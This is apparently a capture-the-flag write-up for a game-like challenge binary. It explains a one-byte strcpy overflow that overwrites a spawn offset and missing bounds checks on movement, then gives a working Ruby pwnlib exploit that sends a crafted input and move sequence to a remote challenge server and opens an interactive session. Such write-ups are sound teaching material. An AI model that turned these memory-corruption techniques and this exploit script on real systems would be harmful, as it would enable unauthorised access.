**Bugs**
Bug 1: When choosing difficulty, we can overwrite `state.spawn_off` by sending exact 63 bytes.```c// *** Step 2. Load the stage ***printf("DIFFICULTY? (easy/hard)\n");int i;for (i = 0; i < 63; i++) {	char c = fgetc(stdin);	if (c == '\n') break;	if (c == '/' || c == '~') return 1; // no path traversal	state.stage_name[i] = c;}strcpy(&state.stage_name[i], ".y");  // <- this will overwrite state.spawn_off when i == 63```
Bug 2: In `step_game`, there is no boundary check on nx, ny, nnx, and nny.```cint nx = x + dx, ny = y + dy; // next position  <- what happens if nx < 0 or nx >= STAGE_W ?if (state.stage[ny][nx] & to_bitset(state.is_stop)) continue;if (state.stage[ny][nx] & to_bitset(state.is_win)) win();
int nnx = x + 2 * dx, nny = y + 2 * dy;unsigned short push = state.stage[ny][nx] & to_bitset(state.is_push);move(&state.stage[ny][nx], &state.stage[nny][nnx], push);move(&state.stage[y][x], &state.stage[ny][nx], you);state.should_update[ny][nx] = 0;```
**Exploit**
```ruby#coding:ascii-8bitrequire "pwnlib"
class PwnTube  def recv_until_prompt    recv_until("> ")  endend
class Exploit  attr_reader :tube, :host, :port  attr_reader :offset, :got, :libc_offset
  def initialize(remote)    @remote = remote    if remote?      @host, @port = "34.146.195.242 10906".split    else      @host = "localhost"      @port = 11111    end    @port = @port&.to_i    @libc_offset = {    }
    @offset = {    }
    @got = {    }  end
  def remote?    @remote  end
  def run    PwnTube.open(host, port){|t|      @tube = t
      tube.recv_until("DIFFICULTY? (easy/hard)\n")      tube.send("hard.y\0".ljust(63, "\0"))
      tube.recv_until_prompt      tube.sendline("wdddddddssssssassssssaaaa")      tube.recv_until_prompt      tube.sendline("asdddddwds")      tube.recv_until_prompt      tube.sendline("ssddddssssssaaassssssawsaaaaddddddwddssddswwd")
      tube.interactive    }  endend
Exploit.new(ARGV[0] == "r").run```